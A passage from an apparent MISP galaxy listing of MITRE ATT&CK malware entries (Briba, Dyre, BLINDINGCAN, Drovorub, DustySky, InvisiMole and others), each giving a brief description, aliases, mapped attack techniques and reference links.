- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"

Table 5247. Table References

Links
https://attack.mitre.org/software/S0240
https://blog.talosintelligence.com/2017/04/introducing-rokrat.html
https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/

Briba - S0204

[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)

The tag is: *misp-galaxy:mitre-malware="Briba - S0204"*

Briba - S0204 is also known as:

- Briba

View relationships graph

Briba - S0204 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5248. Table References

Links

https://attack.mitre.org/software/S0204
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99

Dvmap - S0420

[Dvmap](https://attack.mitre.org/software/S0420) is rooting malware that injects malicious code into system runtime libraries. It is credited with being the first malware that performs this type of code injection.(Citation: SecureList DVMap June 2017)

The tag is: *misp-galaxy:mitre-malware="Dvmap - S0420"*

Dvmap - S0420 is also known as:

- Dvmap

View relationships graph

Dvmap - S0420 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 5249. Table References

Links
https://attack.mitre.org/software/S0420
https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/

Dyre - S0024

[Dyre](https://attack.mitre.org/software/S0024) is a banking Trojan that has been used for financial gain. (Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)

The tag is: *misp-galaxy:mitre-malware="Dyre - S0024"*

Dyre - S0024 is also known as:

- Dyre
- Dyzap
- Dyreza

View relationships graph

Dyre - S0024 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:banker="Dyre" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5250. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf
https://attack.mitre.org/software/S0024
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/
https://nakedsecurity.sophos.com/2015/04/20/notes-from-sophoslabs-dyreza-the-malware-that-discriminates-against-old-computers/

CALENDAR - S0025

[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-malware="CALENDAR - S0025"*

CALENDAR - S0025 is also known as:

- CALENDAR

View relationships graph

CALENDAR - S0025 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="CALENDAR" with estimative-language:likelihood-probability="likely"

Table 5251. Table References

Links
https://attack.mitre.org/software/S0025
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

BLINDINGCAN - S0520

[BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)

The tag is: *misp-galaxy:mitre-malware="BLINDINGCAN - S0520"*

BLINDINGCAN - S0520 is also known as:

- BLINDINGCAN

View relationships graph

BLINDINGCAN - S0520 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5252. Table References

Links
https://attack.mitre.org/software/S0520
https://digital.nhs.uk/cyber-alerts/2020/cc-3603
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a

OnionDuke - S0052

[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="OnionDuke - S0052"*

OnionDuke - S0052 is also known as:

- OnionDuke

View relationships graph

OnionDuke - S0052 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:malpedia="OnionDuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5253. Table References

Links
https://attack.mitre.org/software/S0052
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Drovorub - S0502

[Drovorub](https://attack.mitre.org/software/S0502) is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by [APT28](https://attack.mitre.org/groups/G0007).(Citation: NSA/FBI Drovorub August 2020)

The tag is: *misp-galaxy:mitre-malware="Drovorub - S0502"*

Drovorub - S0502 is also known as:

- Drovorub

View relationships graph

Drovorub - S0502 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5254. Table References

Links
https://attack.mitre.org/software/S0502
https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF

Naid - S0205

[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)

The tag is: *misp-galaxy:mitre-malware="Naid - S0205"*

Naid - S0205 is also known as:

- Naid

View relationships graph

Naid - S0205 has relationships with:

- similar: misp-galaxy:tool="Trojan.Naid" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5255. Table References

Links
https://attack.mitre.org/software/S0205
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99

GLOOXMAIL - S0026

[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-malware="GLOOXMAIL - S0026"*

GLOOXMAIL - S0026 is also known as:

- GLOOXMAIL
- Trojan.GTALK

View relationships graph

GLOOXMAIL - S0026 has relationships with:

- similar: misp-galaxy:tool="GLOOXMAIL" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

Table 5256. Table References

Links
https://attack.mitre.org/software/S0026
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Circles - S0602

[Circles](https://attack.mitre.org/software/S0602) reportedly takes advantage of Signaling System 7 (SS7) weaknesses, the protocol suite used to route phone calls, to both track the location of mobile devices and intercept voice calls and SMS messages. It can be connected to a telecommunications company’s infrastructure or purchased as a cloud service. Circles has reportedly been linked to the NSO Group.(Citation: CitizenLab Circles)

The tag is: *misp-galaxy:mitre-malware="Circles - S0602"*

Circles - S0602 is also known as:

- Circles

View relationships graph

Circles - S0602 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Track Device Location - T1450" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449" with estimative-language:likelihood-probability="almost-certain"

Table 5257. Table References

Links
https://attack.mitre.org/software/S0602
https://citizenlab.ca/2020/12/running-in-circles-uncovering-the-clients-of-cyberespionage-firm-circles/

DustySky - S0062

[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)

The tag is: *misp-galaxy:mitre-malware="DustySky - S0062"*

DustySky - S0062 is also known as:

- DustySky
- NeD Worm

View relationships graph

DustySky - S0062 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="NeD Worm" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5258. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf
https://attack.mitre.org/software/S0062
https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/
https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf

InvisiMole - S0260

[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by the InvisiMole Group since at least 2013. [InvisiMole](https://attack.mitre.org/software/

S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. [Gamaredon Group](https://attack.mitre.org/groups/G0047) infrastructure has been used to download and execute [InvisiMole](https://attack.mitre.org/software/S0260) against a small number of victims.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)

The tag is: *misp-galaxy:mitre-malware="InvisiMole - S0260"*

InvisiMole - S0260 is also known as:

- InvisiMole

View relationships graph

InvisiMole - S0260 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
